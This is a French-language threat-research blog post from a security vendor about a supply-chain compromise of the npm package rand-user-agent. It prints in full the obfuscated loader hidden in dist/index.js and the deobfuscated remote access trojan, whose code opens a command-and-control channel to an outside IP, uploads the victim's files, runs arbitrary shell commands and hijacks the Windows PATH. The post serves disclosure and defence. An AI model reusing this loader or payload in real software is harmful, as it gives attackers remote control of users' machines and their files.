Produit
Tout ce dont vous avez besoin pour sécuriser le code, le nuage et le temps d'exécution, dans un système central
Code
Dépendances
Prévenir les risques liés aux logiciels libres (SCA)
Secrets
Se faire repérer pour les secrets dévoilés
SAST
Sécuriser le code tel qu'il est écrit
Images des conteneurs
Créer des images sécurisées
Logiciels malveillants
Prévenir les attaques de la chaîne d'approvisionnement
IaC
Recherche de mauvaises configurations dans l'IaC
Risque de licence et SBOM
Éviter les risques, respecter les règles
Logiciels obsolètes
Connaître les durées d'exécution de la fin de vie
Cloud
GPSC
Configurations erronées de l'informatique en nuage
DAST
Tests de sécurité en boîte noire
Analyse de l'API
Testez les vulnérabilités de vos API
Machines virtuelles
Pas d'agents, pas de frais généraux
Exécution de Kubernetes
bientôt
Sécurisez vos charges de travail en conteneur
Inventaire des nuages
bientôt
La prolifération des nuages, résolue
Défendre
Protection Runtime
Pare-feu intégré / WAF
Caractéristiques
AI Autofix
Corrections en 1 clic avec Aikido AI
Sécurité CI/CD
Analyse avant fusion et déploiement
Intégrations IDE
Obtenir un retour d'information instantané pendant le codage
Scanner sur site
L'analyse locale axée sur la conformité
Solutions
Cas d'utilisation
Conformité
Automatiser SOC 2, ISO et plus encore
Gestion de la vulnérabilité
Gestion des vulnérabilités tout-en-un
Sécurisez votre code
Sécurité avancée du code
Générer des SBOM
1 clic sur les rapports du SCA
SGAA
AppSec de bout en bout
L'IA à l'Aïkido
Laissez l'Aikido AI faire le travail
Bloc 0-Jours
Bloquer les menaces avant qu'elles n'aient un impact
Industries
FinTech
Technologies de la santé
HRTech
Technologie juridique
Sociétés du groupe
Agences
Startups
Entreprise
Applications mobiles
Fabrication
Tarifs
Ressources
Développeur
Docs
Comment utiliser l'Aïkido
Documentation sur l'API publique
Centre de développement de l'aïkido
Changelog
Voir ce qui a été expédié
Sécurité
Recherche interne
Renseignements sur les logiciels malveillants et les CVE
Glossaire
Guide du jargon de la sécurité
Trust Center
Sûr, privé, conforme
Source ouverte
Aikido Intel
Fil d'information sur les logiciels malveillants et les menaces OSS
Zen
Protection par pare-feu intégrée à l'application
OpenGrep
Moteur d'analyse de code
Intégrations
IDE
Systèmes CI/CD
Nuages
Systèmes Git
Conformité
Messagers
Gestionnaires de tâches
Plus d'intégrations
A propos
A propos
A propos
Rencontrer l'équipe
Carrières
Nous recrutons
Dossier de presse
Télécharger les actifs de la marque
Calendrier
A bientôt ?
Source ouverte
Nos projets OSS
Blog
Les derniers messages
Témoignages de clients
La confiance des meilleures équipes
Contact
Connexion
Essai gratuit
Sans CB
Aikido
Menu
Aikido
EN
EN
FR
JP
Connexion
Essai gratuit
Sans CB
Blog
/
RATatouille : Une recette malveillante cachée dans rand-user-agent (Compromission de la chaîne d'approvisionnement)

RATatouille : Une recette malveillante cachée dans rand-user-agent (Compromission de la chaîne d'approvisionnement)

Par
Charlie Eriksen
Charlie Eriksen
4 min lire

Le 5 mai, à 16h00 GMT+0, notre pipeline d'analyse automatisée des logiciels malveillants a détecté la publication d'un paquet suspect, rand-user-agent@1.0.110. Il a détecté un code inhabituel dans le paquet, et il ne s'est pas trompé. Il a détecté les signes d'une attaque de la chaîne d'approvisionnement contre ce paquet légitime, qui compte environ 45 000 téléchargements hebdomadaires. 

Qu'est-ce que le paquet ?

Le paquet `rand-user-agent` génère des chaînes de caractères aléatoires pour les user-agents en se basant sur leur fréquence d'apparition. Il est maintenu par la société WebScrapingAPI(https://www.webscrapingapi.com/).

Qu'avons-nous détecté ?

Notre moteur d'analyse a détecté un code suspect dans le fichier dist/index.js. Regardons-le, ici vu à travers la vue du code sur le site de npm :

Code caché par la barre de défilement dans rand-user-agent

Avez-vous remarqué quelque chose d'étrange ? Vous voyez cette barre de défilement en bas ? Mince, ils ont recommencé. Ils ont essayé de cacher le code. Voici ce qu'ils essaient de cacher, en plus joli :

global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
  var siM = "",
    mZw = 357 - 346;
  function pHg(l) {
    var y = 2461180;
    var i = l.length;
    var x = [];
    for (var v = 0; v < i; v++) {
      x[v] = l.charAt(v);
    }
    for (var v = 0; v < i; v++) {
      var h = y * (v + 179) + (y % 18929);
      var w = y * (v + 658) + (y % 13606);
      var s = h % i;
      var f = w % i;
      var j = x[s];
      x[s] = x[f];
      x[f] = j;
      y = (h + w) % 5578712;
    }
    return x.join("");
  }
  var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
  var Abp =
    'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[  v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
  var QbC = pHg[Rjb];
  var duZ = "";
  var yCZ = QbC;
  var pPW = QbC(duZ, pHg(Abp));
  var fqw = pPW(
    pHg(
      ']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps ,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7  0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
    ),
  );
  var zlJ = yCZ(siM, fqw);
  zlJ(5164);
  return 8268;
})();

Oui, ça n'a pas l'air d'aller. Il est évident que ce n'est pas censé se trouver à cet endroit.

Comment le code est-il arrivé là ?

Si nous regardons le dépôt GitHub du projet, nous voyons que le dernier commit date de 7 mois, lorsque la version 2.0.82 a été publiée.

Capture d'écran GitHub de Rand-user-agent

Si nous regardons l'historique des versions de npm, nous voyons quelque chose d'étrange. Il y a eu plusieurs versions depuis :

La dernière version, selon GitHub, devrait donc être 2.0.82. Et si nous inspectons les colis depuis lors, nous constatons qu'ils contiennent tous ce code malveillant. Un cas évident d'attaque de la chaîne d'approvisionnement. 

La charge utile malveillante

La charge utile est assez obscurcie, utilisant plusieurs couches d'obscurcissement pour se cacher. Mais voici la charge utile finale que vous finirez par trouver :

global['_H2'] = ''
global['_H3'] = ''
;(async () => {
  const c = global.r || require,
    d = c('os'),
    f = c('path'),
    g = c('fs'),
    h = c('child_process'),
    i = c('crypto'),
    j = f.join(d.homedir(), '.node_modules')
  if (typeof module === 'object') {
    module.paths.push(f.join(j, 'node_modules'))
  } else {
    if (global['_module']) {
      global['_module'].paths.push(f.join(j, 'node_modules'))
    }
  }
  async function k(I, J) {
    return new global.Promise((K, L) => {
      h.exec(I, J, (M, N, O) => {
        if (M) {
          L('Error: ' + M.message)
          return
        }
        if (O) {
          L('Stderr: ' + O)
          return
        }
        K(N)
      })
    })
  }
  function l(I) {
    try {
      return c.resolve(I), true
    } catch (J) {
      return false
    }
  }
  const m = l('axios'),
    n = l('socket.io-client')
  if (!m || !n) {
    try {
      const I = {
        stdio: 'inherit',
        windowsHide: true,
      }
      const J = {
        stdio: 'inherit',
        windowsHide: true,
      }
      if (m) {
        await k('npm --prefix "' + j + '" install socket.io-client', I)
      } else {
        await k('npm --prefix "' + j + '" install axios socket.io-client', J)
      }
    } catch (K) {
      console.log(K)
    }
  }
  const o = c('axios'),
    p = c('form-data'),
    q = c('socket.io-client')
  let r,
    s,
    t = { M: P }
  const u = d.platform().startsWith('win'),
    v = d.type(),
    w = global['_H3'] || 'http://85.239.62[.]36:3306',
    x = global['_H2'] || 'http://85.239.62[.]36:27017'
  function y() {
    return d.hostname() + '$' + d.userInfo().username
  }
  function z() {
    const L = i.randomBytes(16)
    L[6] = (L[6] & 15) | 64
    L[8] = (L[8] & 63) | 128
    const M = L.toString('hex')
    return (
      M.substring(0, 8) +
      '-' +
      M.substring(8, 12) +
      '-' +
      M.substring(12, 16) +
      '-' +
      M.substring(16, 20) +
      '-' +
      M.substring(20, 32)
    )
  }
  function A() {
    const L = { reconnectionDelay: 5000 }
    r = q(w, L)
    r.on('connect', () => {
      console.log('Successfully connected to the server')
      const M = y(),
        N = {
          clientUuid: M,
          processId: s,
          osType: v,
        }
      r.emit('identify', 'client', N)
    })
    r.on('disconnect', () => {
      console.log('Disconnected from server')
    })
    r.on('command', F)
    r.on('exit', () => {
      process.exit()
    })
  }
  async function B(L, M, N, O) {
    try {
      const P = new p()
      P.append('client_id', L)
      P.append('path', N)
      M.forEach((R) => {
        const S = f.basename(R)
        P.append(S, g.createReadStream(R))
      })
      const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
      Q.status === 200
        ? r.emit(
            'response',
            'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
            O
          )
        : r.emit(
            'response',
            'Failed to upload file. Status code: ' + Q.status + '\n',
            O
          )
    } catch (R) {
      r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
    }
  }
  async function C(L, M, N, O) {
    try {
      let P = 0,
        Q = 0
      const R = D(M)
      for (const S of R) {
        if (t[O].stopKey) {
          r.emit(
            'response',
            'HTTP upload stopped: ' +
              P +
              ' files succeeded, ' +
              Q +
              ' files failed\n',
            O
          )
          return
        }
        const T = f.relative(M, S),
          U = f.join(N, f.dirname(T))
        try {
          await B(L, [S], U, O)
          P++
        } catch (V) {
          Q++
        }
      }
      r.emit(
        'response',
        'HTTP upload succeeded: ' +
          P +
          ' files succeeded, ' +
          Q +
          ' files failed\n',
        O
      )
    } catch (W) {
      r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
    }
  }
  function D(L) {
    let M = []
    const N = g.readdirSync(L)
    return (
      N.forEach((O) => {
        const P = f.join(L, O),
          Q = g.statSync(P)
        Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
      }),
      M
    )
  }
  function E(L) {
    const M = L.split(':')
    if (M.length < 2) {
      const R = {}
      return (
        (R.valid = false),
        (R.message = 'Command is missing ":" separator or parameters'),
        R
      )
    }
    const N = M[1].split(',')
    if (N.length < 2) {
      const S = {}
      return (
        (S.valid = false), (S.message = 'Filename or destination is missing'), S
      )
    }
    const O = N[0].trim(),
      P = N[1].trim()
    if (!O || !P) {
      const T = {}
      return (
        (T.valid = false), (T.message = 'Filename or destination is empty'), T
      )
    }
    const Q = {}
    return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
  }
  function F(L, M) {
    if (!M) {
      const O = {}
      return (
        (O.valid = false),
        (O.message = 'User UUID not provided in the command.'),
        O
      )
    }
    if (!t[M]) {
      const P = {
        currentDirectory: __dirname,
        commandQueue: [],
        stopKey: false,
      }
    }
    const N = t[M]
    N.commandQueue.push(L)
    G(M)
  }
  async function G(L) {
    let M = t[L]
    while (M.commandQueue.length > 0) {
      const N = M.commandQueue.shift()
      let O = ''
      if (N.startsWith('cd')) {
        const P = N.slice(2).trim()
        try {
          process.chdir(M.currentDirectory)
          process.chdir(P || '.')
          M.currentDirectory = process.cwd()
        } catch (Q) {
          O = 'Error: ' + Q.message
        }
      } else {
        if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
          const R = E(N)
          if (!R.valid) {
            O = 'Invalid command format: ' + R.message + '\n'
            r.emit('response', O, L)
            continue
          }
          const { filename: S, destination: T } = R
          M.stopKey = false
          O = ' >> starting upload\n'
          if (N.startsWith('ss_upf')) {
            B(y(), [f.join(process.cwd(), S)], T, L)
          } else {
            N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
          }
        } else {
          if (N.startsWith('ss_dir')) {
            process.chdir(__dirname)
            M.currentDirectory = process.cwd()
          } else {
            if (N.startsWith('ss_fcd')) {
              const U = N.split(':')
              if (U.length < 2) {
                O = 'Command is missing ":" separator or parameters'
              } else {
                const V = U[1]
                process.chdir(V)
                M.currentDirectory = process.cwd()
              }
            } else {
              if (N.startsWith('ss_stop')) {
                M.stopKey = true
              } else {
                try {
                  const W = {
                    cwd: M.currentDirectory,
                    windowsHide: true,
                  }
                  const X = W
                  if (u) {
                    try {
                      const Y = f.join(
                          process.env.LOCALAPPDATA ||
                            f.join(d.homedir(), 'AppData', 'Local'),
                          'Programs\\Python\\Python3127'
                        ),
                        Z = { ...process.env }
                      Z.PATH = Y + ';' + process.env.PATH
                      X.env = Z
                    } catch (a0) {}
                  }
                  h.exec(N, X, (a1, a2, a3) => {
                    let a4 = '\n'
                    a1 && (a4 += 'Error executing command: ' + a1.message)
                    a3 && (a4 += 'Stderr: ' + a3)
                    a4 += a2
                    a4 += M.currentDirectory + '> '
                    r.emit('response', a4, L)
                  })
                } catch (a1) {
                  O = 'Error executing command: ' + a1.message
                }
              }
            }
          }
        }
      }
      O += M.currentDirectory + '> '
      r.emit('response', O, L)
    }
  }
  function H() {
    s = z()
    A(s)
  }
  H()
})()

Nous sommes en présence d'un RAT (Remote Access Trojan). En voici un aperçu :

Aperçu du comportement

Le script met en place un canal de communication secret avec un commande et contrôle (C2) serveur utilisant socket.io-clienttout en exfiltrant des fichiers via axios vers un second point d'arrivée HTTP. Il installe dynamiquement ces modules s'ils sont manquants, en les cachant dans un fichier .node_modules dans le répertoire personnel de l'utilisateur.

 Infrastructure C2

  • Communication par sockets: http://85.239.62[.]36:3306‍
  • Point final de téléchargement de fichiers: http://85.239.62[.]36:27017/u/f

Une fois connecté, le client envoie au serveur son identifiant unique (nom d'hôte + nom d'utilisateur), son type de système d'exploitation et son identifiant de processus.

Capacités

Voici une liste des capacités (commandes) prises en charge par le RAT.

| Command         | Purpose                                                       |
| --------------- | ------------------------------------------------------------- |
| cd              | Change current working directory                              |
| ss_dir          | Reset directory to script’s path                              |
| ss_fcd:<path>   | Force change directory to <path>                              |
| ss_upf:f,d      | Upload single file f to destination d                         |
| ss_upd:d,dest   | Upload all files under directory d to destination dest        |
| ss_stop         | Sets a stop flag to interrupt current upload process          |
| Any other input | Treated as a shell command, executed via child_process.exec() |

Backdoor : Python3127 PATH Hijack (détournement de PATH)

L'une des caractéristiques les plus subtiles de ce RAT est son utilisation d'un détournement de PATH spécifique à Windows, visant à exécuter discrètement des binaires malveillants sous l'apparence d'outils Python.

Le script construit et ajoute le chemin d'accès suivant au fichier PATH variable d'environnement avant d'exécuter les commandes de l'interpréteur de commandes:

%LOCALAPPDATA%\Programmes\Python\Python3127

En injectant ce répertoire au début de PATHtoute commande reposant sur des exécutables résolus en fonction de l'environnement (par ex, python, pip, etc.) peuvent être silencieusement détournés. Cela est particulièrement efficace sur les systèmes où l'on s'attend déjà à ce que Python soit disponible.

const Y = path.join(
  process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
  'Programs\NPython\NPython3127'
)
env.PATH = Y + ';' + process.env.PATH

‍

Indicateurs de compromis

À l'heure actuelle, les seuls indicateurs dont nous disposons sont les versions malveillantes, qui sont les suivantes :

  • 2.0.84
  • 1.0.110
  • 2.0.83
| Utilisation | Point de terminaison | Protocole/Méthode
| ------------------ | ------------------------------- | -------------------------- |
| Connexion socket | http://85.239.62[.]36:3306 | socket.io-client |
 | Cible de téléchargement de fichier | http://85.239.62[.]36:27017/u/f | HTTP POST (multipart/form) |

Si vous avez installé l'un de ces paquets, vous pouvez vérifier s'il a communiqué avec le C2

‍

‍

Écrit par Charlie Eriksen

Chercheur en logiciels malveillants

Partager :

https://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise

Table des matières :
Lien texte
Partager :
Utiliser le clavier
Utilisez la touche gauche pour naviguer vers le curseur de l'Aïkido.
Utiliser la flèche droite pour passer à la diapositive suivante.
pour naviguer dans les articles
Par
Charlie Eriksen

Attaque de la chaîne d'approvisionnement XRP : Le paquet officiel du NPM est infecté par une porte dérobée qui vole de la crypto-monnaie.

22 avril 2025
En savoir plus
Par
Charlie Eriksen

Le guide de rencontre des logiciels malveillants : Comprendre les types de logiciels malveillants sur NPM

Logiciels malveillants
10 avril 2025
En savoir plus
Par
Charlie Eriksen

Se cacher et échouer : Logiciels malveillants obscurcis, charges utiles vides et manigances npm

Logiciels malveillants
3 avril 2025
En savoir plus
Par
Madeline Lawrence

Lancement du logiciel malveillant Aikido - Open Source Threat Feed

Actualités
31 mars 2025
En savoir plus
Par
Charlie Eriksen

Les logiciels malveillants se cachent à la vue de tous : Espionner les pirates nord-coréens

31 mars 2025
En savoir plus
Par
Madeline Lawrence

Obtenez le TL;DR : tj-actions/changed-files Attaque de la chaîne d'approvisionnement

Actualités
16 mars 2025
En savoir plus
Par
Mackenzie Jackson

Une liste de contrôle de sécurité Docker pour les développeurs soucieux des vulnérabilités

Guides
6 mars 2025
En savoir plus
Par
Mackenzie Jackson

Détection et blocage des attaques par injection SQL JavaScript

Guides
4 mars 2025
En savoir plus
Par
Floris Van den Abeele

Prisma et PostgreSQL vulnérables aux injections NoSQL ? Un risque de sécurité surprenant expliqué

Ingénierie
14 février 2025
En savoir plus
Par
Willem Delbare

Lancement d'Opengrep | Pourquoi nous avons forké Semgrep

Actualités
24 janvier 2025
En savoir plus
Par
Thomas Segura

Votre client a besoin d'un correctif de vulnérabilité NIS2. Et maintenant ?

14 janvier 2025
En savoir plus
Par
Mackenzie Jackson

Les 10 meilleurs outils SAST alimentés par l'IA en 2025

Guides
10 janvier 2025
En savoir plus
Par
Madeline Lawrence

Snyk vs Aikido Security | G2 Reviews Snyk Alternative

Guides
10 janvier 2025
En savoir plus
Par
Mackenzie Jackson

Les 10 meilleurs outils d'analyse de la composition des logiciels (SCA) en 2025

Guides
9 janvier 2025
En savoir plus
Par
Michiel Denis

3 étapes clés pour renforcer la conformité et la gestion des risques

27 décembre 2024
En savoir plus
Par
Mackenzie Jackson

Le guide Open-Source de la sécurité des applications pour les startups

Guides
23 décembre 2024
En savoir plus
Par
Madeline Lawrence

Lancement d'Aikido pour Cursor AI

Ingénierie
13 décembre 2024
En savoir plus
Par
Mackenzie Jackson

Rencontrez Intel : Le flux de menaces Open Source d'Aikido alimenté par des LLM.

Ingénierie
13 décembre 2024
En savoir plus
Par
Johan De Keulenaer

Aikido rejoint le réseau de partenaires AWS

Actualités
26 novembre 2024
En savoir plus
Par
Mackenzie Jackson

Injection de commande en 2024 non emballé

Ingénierie
24 novembre 2024
En savoir plus
Par
Mackenzie Jackson

Traversée de chemin en 2024 - L'année déballée

Ingénierie
23 novembre 2024
En savoir plus
Par
Mackenzie Jackson

Équilibrer la sécurité : Quand utiliser des outils open-source ou des outils commerciaux ?

Guides
15 novembre 2024
En savoir plus
Par
Mackenzie Jackson

L'état de l'injection SQL

Guides
8 novembre 2024
En savoir plus
Par
Michiel Denis

Visma renforce sa sécurité grâce à l'aïkido : Conversation avec Nikolai Brogaard

Actualités
6 novembre 2024
En savoir plus
Par
Michiel Denis

La sécurité dans la FinTech : Q&R avec Dan Kindler, co-fondateur et directeur technique de Bound

Actualités
10 octobre 2024
En savoir plus
Par
Félix Garriau

Les 7 meilleurs outils de SAGI en 2025

Guides
1er octobre 2024
En savoir plus
Par
Madeline Lawrence

Automatiser la conformité avec SprintoGRC x Aikido

Actualités
11 septembre 2024
En savoir plus
Par
Félix Garriau

Comment créer un SBOM pour les audits de logiciels ?

Guides
9 septembre 2024
En savoir plus
Par
Madeline Lawrence

SAST vs DAST : Ce qu'il faut savoir.

Guides
2 septembre 2024
En savoir plus
Par
Félix Garriau

Les meilleurs outils SBOM pour les développeurs : Nos 2025 choix

Guides
7 août 2024
En savoir plus
Par
Lieven Oosterlinck

5 alternatives à Snyk et pourquoi elles sont meilleures

Actualités
5 août 2024
En savoir plus
Par
Madeline Lawrence

Pourquoi nous sommes ravis de nous associer à Laravel

Actualités
8 juillet 2024
En savoir plus
Par
Félix Garriau

110 000 sites touchés par l'attaque de la chaîne d'approvisionnement de Polyfill

Actualités
27 juin 2024
En savoir plus
Par
Félix Garriau

L'essentiel de la cybersécurité pour les entreprises LegalTech

Actualités
25 juin 2024
En savoir plus
Par
Roeland Delrue

Drata Integration - Comment automatiser la gestion des vulnérabilités techniques ?

Guides
18 juin 2024
En savoir plus
Par
Joel Hans

Guide du bricoleur : Construire ou acheter sa boîte à outils OSS pour l'analyse de code et la sécurité des applications

Guides
11 juin 2024
En savoir plus
Par
Roeland Delrue

Certification SOC 2 : 5 choses que nous avons apprises

Guides
4 juin 2024
En savoir plus
Par
Joel Hans

Les 10 principaux problèmes de sécurité des applications et les moyens de s'en protéger

Guides
28 mai 2024
En savoir plus
Par
Madeline Lawrence

Nous venons de lever notre série A de 17 millions de dollars

Actualités
2 mai 2024
En savoir plus
Par

Les meilleurs outils RASP pour les développeurs en 2025

10 avril 2024
En savoir plus
Par
Willem Delbare

Liste de contrôle de la sécurité des webhooks : Comment créer des webhooks sécurisés

Guides
4 avril 2024
En savoir plus
Par
Willem Delbare

Le remède au syndrome de fatigue des alertes de sécurité

Ingénierie
21 février 2024
En savoir plus
Par
Roeland Delrue

NIS2 : Qui est concerné ?

Guides
16 janvier 2024
En savoir plus
Par
Roeland Delrue

Certification ISO 27001 : 8 choses que nous avons apprises

Guides
5 décembre 2023
En savoir plus
Par
Roeland Delrue

Cronos Group choisit Aikido Security pour renforcer la sécurité de ses entreprises et de ses clients

Actualités
30 novembre 2023
En savoir plus
Par
Bart Jonckheere

Comment Loctax utilise Aikido Security pour se débarrasser des alertes de sécurité non pertinentes et des faux positifs

Actualités
22 novembre 2023
En savoir plus
Par
Félix Garriau

Aikido Security lève 5 millions d'euros pour offrir une solution de sécurité transparente aux entreprises SaaS en pleine croissance

Actualités
9 novembre 2023
En savoir plus
Par
Roeland Delrue

Aikido Security obtient la certification ISO 27001:2022

Actualités
8 novembre 2023
En savoir plus
Par
Félix Garriau

Comment le directeur technique de StoryChief utilise l'Aikido Security pour mieux dormir la nuit

Actualités
24 octobre 2023
En savoir plus
Par
Willem Delbare

Qu'est-ce qu'un CVE ?

Guides
17 octobre 2023
En savoir plus
Par
Félix Garriau

Meilleurs outils de détection de fin de vie : classement 2025

Guides
4 octobre 2023
En savoir plus
Par
Willem Delbare

Les 3 principales vulnérabilités en matière de sécurité des applications web en 2024

Ingénierie
27 septembre 2023
En savoir plus
Par
Félix Garriau

Nouvelles fonctions de sécurité de l'Aikido : Août 2023

Actualités
22 août 2023
En savoir plus
Par
Félix Garriau

Liste de contrôle d'Aikido sur la sécurité des CTO SaaS en 2025

Actualités
10 août 2023
En savoir plus
Par
